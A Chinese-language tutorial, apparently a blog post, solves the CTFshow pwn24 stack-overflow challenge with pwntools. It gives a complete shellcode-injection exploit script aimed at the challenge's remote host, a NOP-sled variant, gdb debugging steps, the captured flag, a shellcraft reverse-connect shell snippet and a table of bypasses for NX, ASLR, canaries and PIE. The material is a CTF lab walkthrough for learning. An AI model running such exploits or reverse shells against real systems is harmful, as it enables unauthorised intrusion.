CTFshow PWN入门实战:手把手教你用pwntools搞定pwn24(含shellcraft模块详解)

CTFshow PWN入门实战:从零开始攻破pwn24

第一次接触CTF PWN题时,那种既兴奋又迷茫的感觉我至今记忆犹新。面对一个陌生的二进制程序,不知道从哪里入手,看着别人轻松拿到shell,自己却连基本工具都不会用。本文将带你从零开始,用最直观的方式理解如何攻破CTFshow的pwn24题目,特别适合刚安装好pwntools但不知如何下手的初学者。

1. 理解题目与程序分析

拿到pwn24这道题,我们首先要做的不是急着写exp,而是全面了解这个程序的行为和保护机制。这就像医生看病一样,需要先"诊断"再"治疗"。

使用checksec工具查看程序保护情况:

checksec ./pwn24

你会看到类似这样的输出:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments

几个关键信息解读:

  • 32位程序:这意味着地址是4字节的,寄存器命名如eax、ebx等
  • Partial RELRO:全局偏移表(GOT)可写,这对我们有利
  • No NX:堆栈可执行,这是关键!意味着我们可以在栈上放shellcode并执行
  • RWX段:存在可读可写可执行的段,这简直是漏洞利用的"天堂"

接下来用IDA或Ghidra反编译程序,你会发现一个关键函数ctfshow,它调用了read函数读取用户输入。这个函数没有做长度检查,存在明显的缓冲区溢出漏洞。

提示:在PWN题中,看到readgetsscanf等函数时,要立刻想到可能的缓冲区溢出。

2. 漏洞利用思路设计

基于前面的分析,我们的攻击思路很清晰:

  1. 确定偏移量:找出从输入开始到返回地址的距离
  2. 构造payload:用shellcode填充缓冲区,并用shellcode地址覆盖返回地址
  3. 获取shell:执行我们注入的shellcode

但具体怎么做?让我们一步步拆解。

2.1 确定偏移量

在32位程序中,典型的栈布局如下:

[缓冲区][ebp][返回地址]

通过反汇编,我们发现bufebp的距离是0x88字节,再加上4字节的ebp本身,所以到返回地址的偏移量是:

offset = 0x88 + 4 = 140字节

2.2 生成shellcode

pwntools的shellcraft模块是我们的利器,它可以生成各种架构的shellcode。对于这道题:

shellcode = asm(shellcraft.sh())

这行代码做了两件事:

  1. shellcraft.sh():生成获取shell的汇编代码
  2. asm():将汇编代码编译为机器码

注意:由于是32位程序,确保context设置为i386:

context.arch = 'i386'

3. 编写完整exp脚本

现在我们可以把所有这些整合到一个完整的exp脚本中:

from pwn import * # 设置环境 context(arch='i386', os='linux') context.log_level = 'debug' # 启动程序 # p = process('./pwn24') # 本地测试 p = remote('pwn.challenge.ctf.show', 28251) # 连接远程 # 生成shellcode shellcode = asm(shellcraft.sh()) # 构造payload payload = flat([ shellcode.ljust(140, b'A'), # 用shellcode填充缓冲区,不足部分用A补齐 p32(0xffffd580) # 覆盖返回地址为栈地址(需要调试确定) ]) # 发送payload p.sendline(payload) # 交互模式 p.interactive()

3.1 确定shellcode地址

上面的脚本中有一个关键问题:如何知道shellcode在栈上的确切地址?这需要通过调试来确定。

使用gdb附加进程:

gdb -p $(pidof pwn24)

然后在read函数返回处下断点,查看栈地址:

x/20wx $esp

寻找我们输入的shellcode起始地址,这个地址就是我们要覆盖返回地址的值。

技巧:在实际操作中,可以先用cyclic生成测试字符串确定偏移量,再用NOP sled增加命中率。

4. 调试与优化

第一次尝试往往不会成功,这时需要调试。pwntools的gdb.attach()功能非常有用:

# 在发送payload前添加 gdb.attach(p, ''' b *0x080484e9 # 在read返回处下断点 c ''')

调试中常见问题及解决方案:

问题现象可能原因解决方法
段错误返回地址错误重新调试确定准确地址
无反应shellcode执行失败检查shellcode是否完整,尝试不同生成方式
连接断开远程服务问题检查网络,重试

优化后的payload构造:

# 更稳健的payload构造方式 payload = flat([ b'\x90'*80, # NOP sled shellcode, # 实际shellcode b'A'*(140-80-len(shellcode)), # 填充 p32(0xffffd500) # 指向NOP sled中间位置 ])

5. 最终攻击与flag获取

经过调试优化后,运行exp脚本:

python3 exp.py

如果一切顺利,你会看到:

[+] Opening connection to pwn.challenge.ctf.show on port 28251: Done [*] Switching to interactive mode $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ cat flag ctfshow{f615f3c6-b99a-4590-ac95-1f7baf5b974b}

6. shellcraft模块深度解析

shellcraft是pwntools中极其强大的模块,它支持多种架构和功能。常用shellcode生成方法:

# 基本shell shellcraft.sh() # 指定输出文件描述符 shellcraft.dupsh(4) # 常用于特殊场景 # 执行特定命令 shellcraft.execve('/bin/sh', ['/bin/sh', '-c', 'ls -la']) # 反向连接 shellcraft.connect('127.0.0.1', 4444) + shellcraft.dupsh()

不同架构的shellcode生成:

# ARM架构 context.arch = 'arm' shellcode = asm(shellcraft.sh()) # 64位 context.arch = 'amd64' shellcode = asm(shellcraft.sh())

7. 防御机制与绕过思路

虽然这道题没有开启NX等保护,但了解防御机制对后续学习很重要:

保护机制作用绕过方法
NX阻止执行栈上代码ROP技术
ASLR随机化内存布局信息泄露
Canary检测栈溢出泄露canary值
PIE随机化代码地址计算相对偏移

在实际做题过程中,遇到问题不要气馁。我记得第一次做这道题时,花了整整一天时间调试shellcode地址,最后发现是忘了设置context.arch。PWN就是这样,每个细节都可能影响结果,但每次成功拿到flag的成就感也是无与伦比的。